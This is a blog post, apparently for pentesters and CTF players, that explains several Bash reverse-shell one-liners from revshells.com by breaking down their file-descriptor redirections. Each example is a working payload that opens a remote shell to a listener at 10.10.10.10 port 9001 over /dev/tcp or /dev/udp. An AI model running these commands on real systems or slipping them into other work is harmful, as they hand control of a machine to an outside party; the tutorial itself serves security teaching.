In pentesting assessments and CTFs we always need reverse shells to execute commands on target machine once we have exploited a system and have a command injection at some point in our engagement.
For that we have an awesome project: revshells.com or reverse-shell-generator where we have a ton of reverse shell payloads listed. This blog post tries to explain their working.
Note: I’ll be breaking down all of them, but not all at once. If you have any comments/feedback let me know in the comments section.
What are reverse shells 馃悮?
A reverse shell is a shell where commands are executed on a remote machine but the input and output of these shell commands are redirected to/from a remotely connected device.
With a reverse shell, the target machine initiates the connection and connects back to our machine.
This allows us to run commands on the remote machine without directly having access to its shell. This process is also popularly known as shell shoveling.
The basics 馃尡
On any system we usually have 3 file descriptors (referred as FD
here after):
0
- STDIN :: Standard Input1
- STDOUT :: Standard Output2
- STDERR :: Standard Error
A file descriptor is the Unix abstraction for an open input/output stream: a file, a network connection, a pipe (a communication channel between processes), a terminal, etc. 1
Apart from the default FDs we can set out own FDs as well. We’ll see how these are used in examples down below.
Bash -i
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
sh
is our shell interpreter. This could be any 1 from the many available on linux machines, exbash
,dash
,ash
,csh
,ksh
.sh
is usually used as it is a symbolic link to one of available shell binaries.-i
forces the shell to be interactive.>&
is used to redirect the standard output (STDOUT) and standard error (STDERR) streams to another FD or device, in this case output and errors from sh command are redirected to TCP connection./dev/tcp/10.10.10.10/9001
when executing a command on a/dev/tcp/[host]/[port]
pseudo-device file, bash opens a TCP connection to the associated socket. 20>&1
redirects the standard input (STDIN) stream to the same place as the standard output (STDOUT) stream, effectively merging both streams into a single bidirectional stream.
Bash 196
0<&196;exec 196<>/dev/tcp/10.10.10.10/9001; sh <&196 >&196 2>&196
In this we have 3 sub commands seperated by ;
. This runs one command after another has finished, irrespective of the outcome of the first.
0<&196;
redirects the STDIN (0) to FD3196
. (196 is a randomly chosen number.)exec 196<>/dev/tcp/10.10.10.10/9001;
exec
is a built-in command which used to execute a command and replace the current shell process with the new command.196
is the FD we chose earlier.<>
is used to create a read-write4 FD./dev/tcp/10.10.10.10/9001
mentions the TCP connection connected to host 10.10.10.10 and port 9001.
sh <&196 >&196 2>&196
is used to redirect the STDIN, STDOUT, and STDERR streams of the shell (sh) to FD 196.<&196
says any input tosh
will be from196
FD.>&196
says any output fromsh
will go to196
FD.2>&196
says any error fromsh
will go to196
FD.
Bash read line
exec 5<>/dev/tcp/10.10.10.10/9001;cat <&5 | while read line; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/10.10.10.10/9001
exec
is a built-in command which used to execute a command and replace the current shell process with the new command.5
is the FD.(5 is a randomly chosen number.)<>
is used to create a read-write4 FD./dev/tcp/10.10.10.10/9001
mentions the TCP connection connected to host 10.10.10.10 and port 9001.
cat <&5
reads input from FD5
.|
sends output of preceding command as input of subsequent command.while read line; do $line 2>&5 >&5; done
while read line
reads the text received from cat line by line and stores text in current line inline
variable.do $line
executes the text in eachline
as a command.2>&5 >&5
redirects the STDERR and STDOUT from commands output to FD5
. (i.e sending it to established TCP connection).
Bash 5
sh -i 5<> /dev/tcp/10.10.10.10/9001 0<&5 1>&5 2>&5
sh
is our shell interpreter.-i
forces the shell to be interactive5
is the FD.(5 is a randomly chosen number.)<>
is used to create a read-write4 FD./dev/tcp/10.10.10.10/9001
mentions the TCP connection connected to host 10.10.10.10 and port 9001.0<&5 1>&5 2>&5
0<&5
says any input tosh
will be from5
FD.1>&5
says any output fromsh
will go to5
FD.2>&5
says any error fromsh
will go to5
FD.
Bash udp
sh -i >& /dev/udp/10.10.10.10/9001 0>&1
sh
is our shell interpreter. This could be any 1 from the many available on linux machines, exbash
,dash
,ash
,csh
,ksh
.sh
is usually used as it is a symbolic link to one of available shell binaries.-i
forces the shell to be interactive>&
is used to redirect the standard output (STDOUT) and standard error (STDERR) streams to another FD or device, in this case output and errors from sh command are redirected to TCP connection./dev/udp/10.10.10.10/9001
When executing a command on a/dev/udp/[host]/[port]
pseudo-device file, Bash opens a UDP connection to the associated socket. 20>&1
redirects the standard input (STDIN) stream to the same place as the standard output (STDOUT) stream, effectively merging both streams into a single bidirectional stream.